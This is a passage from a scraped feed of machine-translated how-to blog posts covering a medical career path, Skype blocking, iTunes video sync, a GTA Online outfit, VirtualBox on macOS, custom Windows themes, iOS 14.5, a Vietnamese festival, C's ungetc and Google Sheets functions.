and a strong resume of extracurriculars make you a more attractive candidate to prestigious colleges. While in high school, get involved in science or biology clubs to learn more about science and whether a career in medicine is right for you.   Get your bachelor's degree. The first step toward becoming a doctor is getting your bachelor's degree from an accredited college or university. You can choose from a variety of majors, but The College Board lists pre-medicine, biology and exercise science as suggested majors.[9] You'll need excellent grades in order to get into medical school, as admissions are highly competitive. While you're in college, participate in extracurricular activities that will help you look competitive as an applicant for medical school. Join a science club, volunteer at a hospital or hospice center, or tutor other students in science.   Pass the MCAT exam. The MCAT stands for Medical College Admission Test (MCAT). College juniors who plan to apply for medical school should register to take the MCAT. It is a standardized, multiple-choice exam that medical school admission committees use to assess how likely an applicant is to succeed in their program.[10] The MCAT is notoriously rigorous. Make sure to study hard for it, giving yourself lots of time to prepare, rather than trying to cram or wing it. Get a tutor if you need one. You can hire a private tutor or attend a test prep class offered by a private company.   Apply to medical schools. In order to be a medical diagnostician, you'll need a medical degree. To do this, you must attend medical school. Most medical schools in the US use the American Medical College Application Service (AMCAS), which centralizes the application process. This way, you can choose your preferred medical schools and submit a single application that will go to all of them.[11] Apply to several medical schools. The application process is highly competitive, so it's good to have a backup plan if you don't get into your top schools. Most students begin the application process for medical school during the summer after their junior year in college. Some choose to take a year off after completing their undergraduate degrees before applying.   Complete medical school and licensing exams. Medical school is generally four years of intensive, full time study. The curriculum includes classroom-based instruction as well as hands-on work that will bring you into a clinical setting.[12] You'll also need to receive a passing score on the first two parts of the United States Medical Licensing Examination (USMLE). This is a three-part exam. You must pass the first part of the exam before entering your third year of medical school. The second part is taken during your fourth year. This second part focuses more heavily on patient diagnosis, which is key to becoming a diagnostician.[13]   Complete a medical residency. Your medical residency is generally a three year period after medical school when you work intensively in a specific field of medicine. It's during this time that you get most of your experiential education to be a professional doctor. The process of matching with a residency program is complicated, but all doctors in training must go through it.[14] If you're planning to be a diagnostician, aim for a residency that will support that aim. Areas of specialization that are heavily focused on diagnostics include: internal medicine, emergency medicine, family medicine, pediatrics, neurology, psychiatry, radiology, radiation oncology, dermatology, and pathology. Once you've completed your residency, you'll also need to pass the third part of the USMLE and get a state license in the state you plan to practice in. You may also choose to become certified by a board in a specific field. This is not always a requirement in order to practice in a field, but it boosts your credentials and can make you eligible for jobs such as being a medical director in a hospital or clinic.   Apply for jobs that emphasize diagnostics. Many doctors begin looking for jobs during their residencies. It's also common for residents to transition to full-time positions wherever they've done their residencies.[15] If you're looking to do something that would give you more experience in diagnostics, you can search for jobs elsewhere. Recruiters from hospitals and private practices often seek out young doctors to hire for open positions.   Practice differential diagnosis. Differential diagnosis is when you take a given symptom and from that determine what it could be caused by. Diagnosticians are familiar with a range of symptoms and their possible causes. When a patient presents a given symptom, use your knowledge of medicine to determine what probably and unlikely causes are.[16] There are online tools that offer \"instant differential diagnosis.\" These can be useful and interesting to the lay person, but nothing replaces a doctor's thoughtful and experienced opinion.   Continue to practice diagnosis as much as possible. The way to build a career on being a diagnostician is to hone your skills and practice. Whether you work at a hospital or in a private practice, you can become well known as someone who does excellent diagnosis by taking your time with patients, asking the right questions, and remaining curious.[17] Pay attention to the context in which a patient's symptoms arise and the background story they tell you.[18] Don't discount uncommon possibilities simply because they're not the most obvious.[19] Master the art of physical examination and reading any kind of diagnostic tools, such as electrocardiography machines and medical imaging.   Samuel Daniel Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqVmLyusYyaZJ2hkZy7sL%2FTopqimZ4%3D\n","link":"/post/how-to-become-a-diagnostician/","section":"post","tags":null,"title":"How to Become a Diagnostician"},{"body":"Like Facebook, even though we make lots of friends on Skype, it's not always possible to chat regularly with the people on the list. Or you get more annoying messages from a friend account in Skype friends list. To solve these problems, it's best to block that account on Skype to not receive annoying messages. When we block that account, they will no longer be able to send you a disturbing message.\nInstructions on how to delete a Skype account permanently Instructions on how to delete chat history on Skype Step 1: You access your Skype account and choose who wants to block on Skype. Right-click on that account and then select Block this person . ( Block this person ).\n  Step 2: The interface to confirm whether or not you want to block this account appears. If you want to unfriend with this person, check on Remove from Contact list. Otherwise, click Block below.\n  Immediately in the avatar of that account will appear a red block icon as shown below.\n  Step 3: If you want to unblock this account, right-click on that account and then click Unblock this person .\n  To manage blocked accounts on Skype, at the Skype interface, click on Tools then click on Options .\n  Click the Privacy section and then choose to continue Blocked contacts. Looking at the interface on the right you will see accounts that have been blocked on Skype. Here, the user can also click on any account and then click Unblocked this person . Click Save to save the changes.\n  With the way to block Skype account, users will limit the status of spam messages from people in your friend list. We can also manage blocked accounts in the Skype account management interface, and proceed to unblock them right in this interface if desired.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqcpLCsecBmnauhlaOxbq3CnKaupqRivK950qSwqZ0%3D\n","link":"/post/how-to-block-a-friend-account-on-skype/","section":"post","tags":null,"title":"How to block a friend account on Skype"},{"body":"For those who use devices of iOS, surely will not be without iTunes or iTools tools. These are two powerful support tools for iPhone / iPad, when you can copy data from computer to device such as image, video, or audio. Besides, we can also create ringtones easily for the device using the iTunes tool. In the following article, we will guide you how to copy the video on your computer to the iPhone / iPad device using the iTunes software.\nDownload iTunes for Windows Download iTunes software for Mac Step 1: First, start the iTunes tool on your computer and connect your iPhone to the device. At the main interface, click on the Movies section.\n  Step 2: Next, click on File\u0026gt; New\u0026gt; Playlist or press Ctrl + N to create a new playlist for the video.\n  Now let us enter the new name for the Playlist.\n  Step 3: Next, you will open the folder containing the video on the computer you want to transfer to iPhone. Then, drag and drop the video into the iTunes interface .\n  Step 4: Soon we will see the video appear in the Movie list on iTunes, press Done to go to the next step.\n  Go to the new interface, click on the iPhone icon at the top.\n  Step 5: Go back to the main interface on iTunes, in the Settings section section Movies , users please select the Sync Movies and then select the video file to transfer to iPhone . Finally click Apply below.\n  We wait for the process of syncing videos from iTunes to the completed iPhone.\n  Step 6: Now you open the Video application on your device and will see the video has been transferred from your computer to iPhone already.\n   A very simple trick right ?! With just a few steps, you can easily transfer any video, audio or image from your computer to your iPhone and iPad device. Besides, please regularly update iTune version to use more attractive features.\nRefer to the following articles: How to transfer videos and images between iPhone and computer without plugging in the cord How to copy photos from iPhone, iPad to computer? How to simply copy files from computer to iPhone / iPad ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmraKclaTAbrLRqKRmm5%2BivbbAxKtkraddnr2pu82eZLChpJ16qsDUp5ys\n","link":"/post/how-to-convert-videos-from-computer-to-iphone-with-itunes/","section":"post","tags":null,"title":"How to convert videos from computer to iPhone with iTunes"},{"body":"To get the Epsilon costume in Grand Theft Auto Online, all you need to do is pretty easy and we'll explore that together now.\nGTA Online 's latest Arena War update brought a deadly reality show into the game and with it some new types of vehicles and game modes. But not stopping there, players can also receive a secret outfit called Epsilon located in their own nightclub. To unlock Epsilon, you will need to repeat the same action 500 times smaller and this is exactly what you need to do.\nHow to get Epsilon secret outfits in GTA Online To unlock a new outfit, a blue Epsilon robe, players will first need their own nightclub or one owned by another player. There, you go to the WC. In WC, you'll find a hostess who has been in the game since the nightclubs were added in the After Hours update. Players who want to receive Epsilon costumes will have to tip a lot of money to this nightclub hostess.\n  The first 10 times you tip a waiter $ 1, a first message will appear saying \" Seeking The Truth \".\n  The second notice \" Chasing The Truth \" will appear when you have teased the server at least 155 times.\n  The third and final message appears when you tip 575 times with the text \" Bearing The Truth \", then you will find the Epsilon costume in your wardrobe.\n  In a nutshell, you only need to tip the waiter continuously in the bathroom 575 times ($ 1 per tip), for a total of $ 575. The whole process might take around 15 minutes to complete, but it's worth it since you'll get a rare outfit.\n  This new mantle isn't the first secret outfit Rockstar put on GTA Online. Over the past few months, Rockstar has included another Easter egg outfit, which is unlocked by drinking a strong alcoholic drink, fainting and then waking up with a t-shirt. This was random, and some players passed out a dozen times before luckily unlocking the Easter egg.\nInterestingly, that secret costume is also related to the Epsilon sect. It was a blue t-shirt with the word \"Kifflom\" on the front, a word that sects used to use. You even woke up on the Epsilon building when you unlocked it.\nGTA Online ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2BVqXqmvNKio6imXaiypL7ErWSoraSbtrW%2FjKKlZp%2BklnqwusuipZ4%3D\n","link":"/post/how-to-get-epsilon-secret-outfits-in-gta-online/","section":"post","tags":null,"title":"How to get Epsilon secret outfits in GTA Online"},{"body":"Besides Windows and Linux, macOS is also a very popular computer operating system and is trusted by many people, including me. Simply because of the stability, high security and partly because the user interface is extremely beautiful.\nHowever, during use, there are many tasks that require Windows 10 to be performed, and the solution I apply here is to use the Windows 10 virtual machine on macOS.\nCurrently, there are many virtualization software for macOS to choose from. Some prominent names among them are VMWare Fusion, Parallel Desktop, QEMU, . But they are not my choice.\nIn this article, I will introduce to you a very familiar name in the field of virtualization - that is Oracle VM VirtualBox, of course it is still 100% free on macOS.\n1. Why choose VM VirtualBox on MacOS? Many people will choose Parallel or VMWare Fusion for their convenience and ease of use, but for me, VM VirtualBox is still the best choice!\nThe first is it's 100% free, for sure - open source!\nMeanwhile, you will have to pay a large amount of money to use Fusion and Parallel or be forced to use the cracked version (to be white, pirated software).\nSecond, VirtualBox is available on almost every computer operating system, if you are used to using it on Windows 10 or Linux then you can continue to use it on a MacBook without having to spend more time learning. how to use new software.\nIn addition, VM VirtualBox also supports us to install a lot of operating systems from Android to Windows, even macOS.\n2. How to install Oracle VM VirtualBox on macOS To install VirtualBox on macOS, as usual, you need to visit the Oracle download page here to download the installer of this software.\nThe familiar download page will appear again, but differently this time we will choose the OS X hosts line to download the installer for macOS, not Windows hosts or Linux distributions like before.\nThe latest version of VirtualBox as of the time I write this article is 6.1.18.\n  Step 1: Open the downloaded installer file of VirtualBox-6.1.18-142142-OSX.dmg and it will open a VirtualBox Finder window similar to the image below.\nThere are quite a few things in here but you do not care, now double-click on the VirtualBox.pkg file to start the process of installing VirtualBox on macOS.\n  Step 2: You will read through the introduction about the VirtualBox application as well as the installation process, nothing special and important, so you can click Continue to move to the next step.\n  Step 3: Next is to choose the software installation location, but different from Windows 10 in that you cannot freely choose the installation path on the hard drive, but by default it will always be installed on the hard drive. operating system.\nInstead, you can install it for all users or for your own use only.\nIn addition, you can also choose which components will be installed by clicking the Customize button, but in this case there is nothing to customize so click Install to begin the installation process.\n  And you must enter the computer's password to confirm that the installation of this software on the system is what you want, not a stranger or a virus =\u0026gt; and then click Install Software.\n  Step 4: The installation process will take place right after that, it does not take much time because VirtualBox is quite light.\n  During the installation process, a window will appear asking you to grant access to the system for VirtualBox.\nNow you access to System Preferences =\u0026gt; Security \u0026amp; Privacy, you will see below a line of System software from developer 'Oracle American, Inc.' appear. was blocked from loading as shown in the picture.\nNow you have to click on the lock icon, enter the password to unlock the system settings. Then click the Allow button, the new software can be installed successfully.\nIf you do not do it or make the installation too slow, do not worry, just press the button Allow =\u0026gt; and then proceed to install again.\n  Step 5: Installation is complete, you will see a similar successful installation message below. Now click Close to close this window and it will ask if you want to delete this installer file too?\nSelect Move to trash to delete, or Keep to keep. But in my opinion if the installation is complete, then just delete it, nothing to keep ^^!\n  And so the VirtualBox software installation on macOS is complete, you can now use Search Spotlight or Launchpad to find and launch VirtualBox.\nThe interface is still the same, still very familiar and usage has not changed. Of course, I will still have articles on how to create a Windows 10 virtual machine on macOS using VirtualBox so remember to follow the blog to update the latest articles!\n  Epilogue So I have just finished showing you how to install virtualization software VirtualBox on macOS.\nAlthough it is free, the quality of VM VirtualBox is very good, trusted by a lot of experts and professional users, so feel free to use it. Hope this tip will be of help to you. Good luck !\nVM VirtualBox ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmmGaumafBtq3LZpqopaCqwaa%2BjK%2BkZq6Zp8G2rcubprFln6N6rq3CqKo%3D\n","link":"/post/how-to-install-a-virtual-computer-vm-virtualbox-on-macos/","section":"post","tags":null,"title":"How to install a virtual computer VM VirtualBox on macOS"},{"body":"Windows supports themes called \"visual styles\" since Windows XP. By default, Windows only downloads themes approved by Microsoft, but you can still download other themes with the following tips. These are not standard Windows themes, they have been modified to title bars, buttons and other image elements.\nWindows 10: Install WindowBlinds On Windows 7, you can use UxStyle tool to download non-Microsoft themes, but this is not applicable on Windows 10 because it does not support the functionality of this software.\nAlthough, you can directly modify the uxtheme.dll file, but these changes will be lost when Windows 10 updates. Most user-created themes will not be properly supported on the latest build of Windows 10.\nHowever, there is a solution to this problem, if you want to download the Windows 10 desktop theme, you can use Stardock's WindowsBlinds. This software is still supported on Windows 10 and does not require file system hacking. It costs 10 USD but with this amount, it will save you time fixing many problems. Before deciding to buy the product, you can try it for 30 days.\n  WindowBlinds also has some custom Windows themes. To select a theme, simply click on it in the WindowBlinds window and then click \" Apply style to desktop \". This change will take effect immediately upon closing and restarting some applications like Google Chrome.\n  WindowBlinds also makes it easy to install theme because it uses WindowBlinds format for themes, and you can find more themes on the WinCustomize.org website.\nFor example, on this site you can find the Dark Mode theme, unlike the built-in Dark Mode of Windows 10, it will apply to File Explorer and other applications.\nHow to install the Dark Mode interface for all Windows 10 screens Windows 7: Fix file system with UxStyle Windows will check for Microsoft approved themes before downloading and if not, Windows will not download them. To use other themes, you must edit the Windows system file, especially the uxtheme.dll file and disable its testing feature. In the past, to make modifications, you need to boot your computer in Safe Mode and replace the system files yourself, but now there are easier ways to do this.\nEnable Safe Mode in Windows 7 UxStyle is the ideal free solution for Windows 7 users (although it doesn't work on Windows 10). UxStyle runs completely in memory, disabling checking without modifying any system files. This is the easiest, safest way to activate third-party themes without WindowBlinds. (You can also choose to pay to use WindowBlinds on Windows 7 if you like)\nTo use UxStyle, download, unzip the .zip file, and then run the x64 installer (if you're using a 64-bit version of Windows) or x86 (if you're using a 32-bit version of Windows). After installation, a new process called \"UnsignedThemesSvc.exe\" will run in the background. Restart the computer and install third-party themes.\n  How to find Visual Styles theme online You can find theme visual styles customized for Windows on many websites. One of the best places to hunt for visual styles is DeviantArt.com.\nNote, these files are usually in an unrecognized ZIP or RAR format, which may contain malicious software or links to infected websites. Note that specific versions of Windows may require updates to theme files, check information on DeviantArt or other sites to make sure the download theme is compatible with the build you are using. .\nSelect the theme and download it to your computer. In this example, the article will download the Maverick for Win7 theme theme to bring the classic Ubuntu default theme to Windows 7. Many themes are in .rar format, if you want to open these files, you will need a chapter. Free file extractor like 7-Zip.\nTop software to extract files and compress files today How to install Visual Styles theme This theme is in the following folder:\nC: WindowsResourcesThemes\nEach theme will have a subfolder in it. To install a new theme, just drop the file into the Themes folder and agree when the UAC notification appears. The .theme files must be in the root directory.\n  Note, some themes may have other items and require users to follow additional instructions before they work. For example, themes may include custom fonts and icons. Download pages of themes or README files will often contain information to complete the installation process.\nIf you need to install fonts, just drop the attached .ttf font files into the following folder:\nC: WindowsFonts\nRestore the default font set of Windows 7   After installing the theme, double-click the installed .theme file to convert. You will see this theme listed with the Windows accompanying theme in the Desktop personalization section of the Control Panel.\n  Because Microsoft does not officially support third-party themes, you may have problems using the theme visual styles customized with third-party applications. You can't do much to fix this problem because developers don't consider using unofficial Windows themes when designing their applications.\n  See more:\nHow to install Windows 10 Themes from Windows Store? 7 great bright color themes for windows 10 you should not miss this summer 3 ways to delete the theme installed on Windows 10 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmraKrpZa5br%2FTsqOeq12ptaa5xGaYp5xdmMK0wM6mZK2glaKybrXNZq6ippSkxLQ%3D\n","link":"/post/how-to-install-visual-styles-theme-and-custom-theme-in-windows/","section":"post","tags":null,"title":"How to install Visual Styles theme and custom theme in Windows"},{"body":"iOS 14.5 includes the option to unlock\u0026nbsp; iPhone \u0026nbsp;using\u0026nbsp; Apple Watch \u0026nbsp;while wearing a mask, adds support for AirTag, and introduces separate skin color options for the icon with a couple. Transparency in app tracking allows you to control which apps or websites are allowed to track your activity.\nIPhone 12 owners\u0026nbsp; \u0026nbsp;will also be able to enjoy the dual-SIM 5G support after the update. There are many other new features in iOS 14.5, including over 200 new emojis, improved cheat site tracking, new shortcuts and more .\nIn addition, iOS 14.5 also allows iPhone 12 series users to use 5G networks in Vietnam.\niOS 14.5 and iPadOS 14.5 can now be downloaded on all compatible iPhones and\u0026nbsp; iPads\u0026nbsp; by going to Settings\u0026gt; General\u0026gt; Software Update.\nIOS 14.5 update details Unlock iPhone with Apple Watch\nAbility to unlock iPhone X or later with Apple Watch Series 3 or later when you try to use Face ID while wearing a mask.  AirTag and Find\nSupport for AirTag to track and find your important items such as keys, wallets, backpacks, etc. privately and securely in the Find app. Accurate Find uses visual, audio, and touch feedback to guide you directly to nearby AirTag using the Ultra Wide Band technology powered by the U1 chip on iPhone 11 and iPhone 12 models. . You can position the AirTag by playing the sound through the built-in speaker. Search Network with hundreds of millions of devices can help you find your AirTag, even when not nearby. Lost mode notifies you when AirTag is found and you can enter a phone number with which someone else can contact you. Icon\nSupporting individual skin color in all kissing couple emoji and heart couple emblem variations. New face icon, heart icon, bearded woman icon.  Siri\nSiri can notify incoming calls, including the name of the person calling, while you're wearing compatible AirPods or a Beats headset, and you can answer hands-free. Support group FaceTime calls by asking Siri to call FaceTime to a group of contacts or a group name from Messages. You can call emergency contacts using Siri. Privacy\nThe transparency in app tracking allows you to control which apps are allowed to track your activity on apps and websites of other companies for advertising or sharing with data brokers. Apple Music\nShare your favorite lyrics using Messages, Facebook and Instagram Stories, and subscribers can play tracks in Messages without leaving the conversation. The city chart shows popular music tracks in more than 100 cities around the world. Podcasts\nThe podcast show pages have been redesigned to make it easier to start listening. Option to save and download episodes, automatically add to your Library for quick access. Notification settings and download activity can be customized by program. Top charts and popular categories in Search help you discover new shows. 5G innovation\nDual SIM support allows 5G connection on line using mobile data on iPhone 12 models. Smart Data Mode improvements further optimize your experience on 5G networks for better battery life and data usage on iPhone 12 models. 5G international roaming is enabled on carriers supported on iPhone 12 models.  Map\nYou can share the estimated arrival time (ETA) when cycling or walking, as well as while driving, by asking Siri or tapping the route card at the bottom of the screen, then tapping ETA Share. Reminder\nThe ability to sort reminders by Title, Priority, Due Date or Creation Date. Optionally print your reminder list. Translation\nYou can adjust the translation playback speed by holding down the play button Play game\nXbox Series X | S Wireless Controllers or Sony PS5 DualSense ™ Wireless Controllers are supported. CarPlay\nYou can easily share ETA in Apple Maps while driving with new Siri controls or keyboard in CarPlay. This release also fixes the following issues:\nMessages at the end of the thread may be obscured by the keyboard in certain cases. Deleted messages may still appear in Spotlight searches. Messages may experience persistent failure of sending messages in some streams. Mail will not download new email for some users until the device reboots. Identification and call barring may not appear in Phone settings. The iCloud tab might not appear in Safari. Turning off iCloud Keychain might not be possible. Reminders created through Siri can be unintentionally set for early morning hours. The battery health reporting system recalibrates maximum battery capacity and peak performance capacity on iPhone 11 models to resolve inaccurate estimates of battery health reports for some users ( https://support.apple.com/en-vn/HT212247 ). Optimized to reduce the presence of blurred highlights that can appear at reduced brightness levels with black backgrounds on iPhone 12 models. AirPods audio route is incorrectly routed for the Auto Switch feature. The AirPods Switching Automatically message might be missing or duplicate. Have you downloaded and installed iOS 14.5 yet?\niOS 14.5 iOS 14.5 what's new ncG1vNJzZmismaXArq3KnmWcp51ktrC%2FjGprbmWfm7Oqr8iao6WxXaeyrbHArJydZZiav6Z5wKucZqyYmnqktMCnnp6rXZa7pXnNnq5mnpWWwba%2BxKw%3D\n","link":"/post/ios-14-5-officially-released-here-are-the-changes-and-new-features/","section":"post","tags":null,"title":"iOS 14.5 officially released, here are the changes and new features"},{"body":"Doan Ngo Tet festival or also called Doan Duong Tet is held on the 5th of the lunar month every year, this is a traditional New Year in China as well as some East Asian countries like Korea and Vietnam.\nIn Vietnam, Doan Ngo Tet festival is also called by a villager by the name of \"the killing of insects\", this is the second important Tet after the Lunar New Year. According to the conception of the ancients, on this day, everyone together started to catch insects, kill less insects that cause harm to plants around the place where they live.\nDoan Ngo Lunar New Year is the beginning of noon (Doan: open, Ngo: midday) and positive is the sun, is positive, Yang Yang means starting at the time when the positive air is prospering.\n1. About the origin of Doan Ngo Tet festival in Vietnam   On the day after the crop, farmers celebrated the harvest, but the insects lasted for a long time, losing the fruit and the harvested food. People with headache do not know how to solve this bug, suddenly there is an old man coming to claim himself as the Double.\nHe showed the people each house to set up a herd of offerings including simple ashes, fruit, then went to the front of his house to exercise. The people followed after only a moment, and the floodworm fell down. He also added: Every year on this day is very aggressive, every year on this day just follow what we have told you to cure them.\nThe people who were grateful for their gratitude had gone somewhere. To commemorate this, the people who set for this day were the \"New Year of the Pest\", some called it \"New Year of the Horse\" because of the usual time in the midday of the Horse.\n  2. About the meaning of Doan Ngo New Year Like other holidays in the year in Vietnam, every holiday has its own meaning, as well as a rustic name. For Doan Ngo Lunar New Year is no exception. This day was \"Vietnamized\" on the day of the New Year to kill insects and worship ancestors.\nDoan Ngo Tet festival takes place on 5/5 lunar calendar, at this time, the weather begins to change seasons. This is a favorable condition for easy-to-arise pests that damage crops and human health. So on this day, people have devised ways to prevent disease, destroy these pests.\n  According to the concept of the ancients, after the Lunar New Year, perhaps \"the killing of insects\" is the Tet holiday where all members of the family have a warm reunion together. Therefore, the children who go to work far from home have always arranged work to return home to gather with their families.\nIn addition, on the day of the Ngoan Ngo day people worshiped to mark a new weather, celebrating the clarity and clarity, and at the same time praying for peace.\nAfter the ceremony, there are the custom of killing insects. The whole family gathered to eat sour fruits, sticky wine, ash cake . to eradicate \"insects\", ward off all diseases .\n3. The indispensable dishes in the tray of Doan Ngo Tet festival During the \"Insect killing Tet\" everyone together prepared familiar and typical dishes this season to offer to ancestors and grandparents with the desire to be bumper crops. Besides, people also think that on the 5th of this lunar month, these parasites often rise up, people can eat food, fruit sour, acrid and especially sticky wine, can be kind leave them.\nSticky rice : On the days of Tet Doan Ngo we find out in the market or grandparents preparing to cook sticky rice to make rice and wine on this day. This is a popular dish on the Day of Doan Ngo in most localities. According to folk beliefs, to kill insects effectively, we should eat rice wine early in the morning on 5/5 when we just woke up. Because the rice wine has the pungent taste of sticky wine, it will cause the insects to be destroyed.   Ash cake : Besides rice wine, ash cake is also an indispensable dish of people in South Central and South Vietnam and some parts of the North. The tiny, oblong or triangular cake (depending on the package), the cake has all kinds of sweet or salty or no filling. Many people also believe that eating ash cake, fruit as well as rice wine on this day will help the illness in people dissipate. And this is also a very suitable dish in hot weather.   Fruits : Each season has a characteristic fruit, and in May, we will have some fruits such as plum, litchi, peach, . These types have fresh and sour taste. , fragrant will be very suitable for Doan Ngo Tet.   Duck meat : People are only familiar with names such as ash cake, sticky rice rice, plum, peach . but few people know that on the day of killing insects in many areas of Central Vietnam, people eat duck meat. . According to the concept of the ancients, on the 5th of the fifth lunar month, the day when the air was hot and high temperature, people used cool, complementary duck meat to keep the heat - welding between Heaven and Man.   Wish you have a happy day of Doan Ngo Tet family!\nncG1vNJzZmismaXArq3KnmWcp51ksbCtzWaloKddqbK1ecWeqq2hppa5brvRop6ipl2isqK6yKeeZpmemXq0vMScoJqkXZm2tLTErGSipl2rtqbAzZqk\n","link":"/post/origin-meaning-and-special-dishes-in-vietnam/","section":"post","tags":null,"title":"Origin, meaning and special dishes in Vietnam"},{"body":"The function int ungetc (int char, FILE * stream) in the C Library standard pushes the char character (an unsigned char) onto the Stream given to the next character to be read.\nDeclare the ungetc () function in C Below is the declaration for the ungetc () function in C:\nint ungetc ( int char , FILE * stream )  Parameters\nchar - This is a character to be pushed back.\nstream - This is the pointer to a FILE object that identifies the Input Stream.\nReturns the value\nIf successful, it returns the character that was pushed back. Otherwise, the function returns EOF and Stream remains unchanged.\nFor example\nThe following program C illustrates the usage of the ungetc () function in C:\n#include int main () { FILE * fp ; int c ; char buffer [ 256 ]; fp = fopen ( \"baitapc.txt\" , \"r\" ); if ( fp == NULL ) { perror ( \"Xuat hien loi trong khi mo baitapc.txt\" ); return (- 1 ); } while (! feof ( fp )) { c = getc ( fp ); /* thay the ky tu ! boi ky tu + */ if ( c == '!' ) { ungetc ( '+' , fp ); } else { ungetc ( c , fp ); } fgets ( buffer , 255 , fp ); fputs ( buffer , stdout ); } return ( 0 ); }  Suppose we have the bait.txt file that contains the following data. This file will be used as input.\nCompile and run the above C program to see the results.\nAccording to Tutorialspoint\nPrevious lesson: Ham puts () in C\nNext lesson: Function of perror () in C\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ%2Bsp5uknryvedSnnp6sk2K2r3nC\n","link":"/post/the-function-ungetc-in-c/","section":"post","tags":null,"title":"The function ungetc () in C"},{"body":"In an effort to bring Braille to many people who still have visual problems, help them see the electronic billboards or printing paper, designers from Tokyo Kosuke Takahashi have come up with a unique solution, combining characters of Braille with English and Japanese.\nThe letters in Takahashi's Neue Braille style include letters, above are black dots (of Braille for the visually impaired). This way will help not to use Braille and lowercase letters separately, making it easy to put braille in documents.\n  How to combine Braille with Latin characters\nTakahashi created this typeface based on Helvetica Neue, then edited each letter to include more letters of braille. This project will bring two major Braille Neue fonts, including Latin and Braille Neue Outline characters, including Latin and Japanese characters.\nBraille Neue can also be displayed in large format, suitable for large electronic boards placed in public places. This is not the first time an initiative has been made to make braille more popular but one of the most attractive and compelling projects. Hope this typeface will soon be put to use. Interested readers can follow the project development process here.https://brailleneue.com/\nSee more:\nWebsite helps you manage all fonts installed in your computer Download the gorgeous \"Wakanda Forever\" font inspired by the language in \"Black Panther\" How to download and install a full set of beautiful Vietnamese full fonts for your computer ncG1vNJzZmismaXArq3KnmWcp51kwam10madqKakYrCwucGipZ6rXZe8tbSMm6maoZyhsm64wK2gp2WRo7FutsCpmKedo5p6pLTAq5icrJWnwA%3D%3D\n","link":"/post/this-font-combines-both-braille-latin-and-japanese-characters/","section":"post","tags":null,"title":"This font combines both Braille, Latin and Japanese characters"},{"body":"Google Sheets is an extremely flexible and outstanding tool that combines the setup and calculation of data in spreadsheet form. It works based on the cloud feature, so it provides many interactive functions, automated data collection, even pulling data from third-party APIs.\nYou often work with spreadsheets like Excel, iWork Numbers, Zoho Sheet or Open Office Calc that will easily use Google Sheets. If you are new to Sheets, or are exploring the Spreadsheet program, here are six useful functions for your data.\nFor more tips in Google SpreadSheets, click here.\n1. JOIN: Combining words in Google Sheets The JOIN function is used to deepen the string of values ​​into a text to facilitate the use. Or simply synthesize some key values ​​or some HTML.\nType \u0026amp; to connect the values ​​of different cells and use quotation marks with any text you want to insert.\nFor example, we use the following calculation:\n= A1 \u0026amp; \"\" \u0026amp; B1 \u0026amp; \"and\" \u0026amp; A2 \u0026amp; \"\" \u0026amp; B2\nand the result is \"4 Apples and 5 Pears\"\n  Using the JOIN function is most appropriate when linking multiple values. You only need to specify the character you want to add between the values ​​and the cell values ​​you want.\nFor example:\n= JOIN (\",\", A1: A5)\nWe have:\n1,2,3,4,5\n  2. INDEX: Retrieve initial value or last value With fixed data, spreadsheets are easy to operate. However, when adding new data regularly, such as each week adding new data streams, will require continuous editing to maintain the operation of the functions in the table.\nFor example, imagine you always have to calculate the change between the last cell in the table with the value ahead. And it's hard to get the results calculated in the same box at each change. Using LAST functions seems to be very appropriate, but not. The INDEX function is the solution we need. Because it allows you to retrieve the value of a cell by specifying the column and row position in the conditional array.\n= INDEX (A: A, 1,1)\n  Combining INDEX with COUNTA you can create a calculation to retrieve the last value of a column.\n= INDEX (A: A, COUNTA (A: A), 1)\n  3. Insert data into Google Sheets One of the great features of Google Sheets is the import function. This function allows dragging data from different sources such as XML, HTML, RSS - CSV into your spreadsheet accordingly to enter how lists of blog posts, inventory or other data from other services . For example, you can import multiple links from the URL as follows:\n= IMPORTXML (\"https://en.wikipedia.org/wiki/Moon_landing\", \"// a / @ href\")\n  Enter the list or table content from the specified URL:\n= IMPORTHTML (\"http://en.wikipedia.org/wiki/Demographics_of_India\", \"table\", 4)\n  Enter RSS or Atom:\n= IMPORTFEED (\"http://news.google.com/?output=atom\")\n  Enter the contents of the CSV file:\n= IMPORTDATA (\"http://www.census.gov/2010census/csv/pop_change.csv\")\n  The mix of text and automatic features of Google Sheet, data entry functions have become powerful tools for screening and setting up data from public sources.\n4. Vlook up and Hlookup The following example demonstrates that Google Sheet search functions are the best. They allow searching to string a word and then read the value to the equivalent column or line. This is really useful if you have different data sets with the same object in the spreadsheet. For example, lines of data about products, personnel or projects.\nIn the example below, imagine you want to track the change in the number of apples, oranges, pears in January and February. The order of the available fruits varies from month to month so do not use calculations except for cells.\nInstead, VLOOKUP searches the data table vertically until it finds the common point of the word and then reads in a horizontal row to find the corresponding value in the adjacent column. VLOOKUP stands for Vertical Lookup because it finds vertical and later words in a horizontal row to produce the value while Hlook the Horizontal Lookup abbreviation because it finds words in horizontal rows and then gives vertical values. .\nFirst, with Vlookup use the following table and calculations:\n= VLOOKUP (F2, $ A $ 2: $ B $ 6.2, false)\nIn which, \"F2\" the value to search for \"Apple\" in cell F2. Because of using Vlookup, the calculation of \"$ A $ 2: $ B $ 6\" of the calculation only tells Google Sheet to search along the January data sheet. \"2\" indicates to find \"Apple\" in the second column. \"False\" is assumed if no equivalent value is found, then they will be ignored in another location. Finally, complete the Apple search calculation in the January data table and trace the value 1003 in the second column.\nTo calculate the change, we need to get the search function of February minus the search function of January so there is a calculation like this:\n= VLOOKUP (F2, $ C $ 2: $ D $ 6.2, false) -VLOOKUP (F2, $ A $ 2: $ B $ 6.2, false)\nThe second search calculation is similar to the calculation above, but now we enter the February data and get them except January data. Therefore, writing a February data search operation similar to that of January only changes \"$ A $ 2: $ B $ 6\" for \"$ C $ 2: $ D $ 6\" . Now they will take the number of apples of February (785) from the number of January (785) and retrieve the value of -218.\n  Similarly, Hlookup represents the equivalent function but reads in a horizontal line and looks vertically.\n5. COUNTIF and SUMIF in Google Sheets SUMIF and COUNTIF are easier than a search function. If the logical clause in CountIF or SumIF is correct, Google Sheets can count the number of instances or sum the equivalent value.\nSee the example below, you can count the number of apples sold with the following calculation:\n= 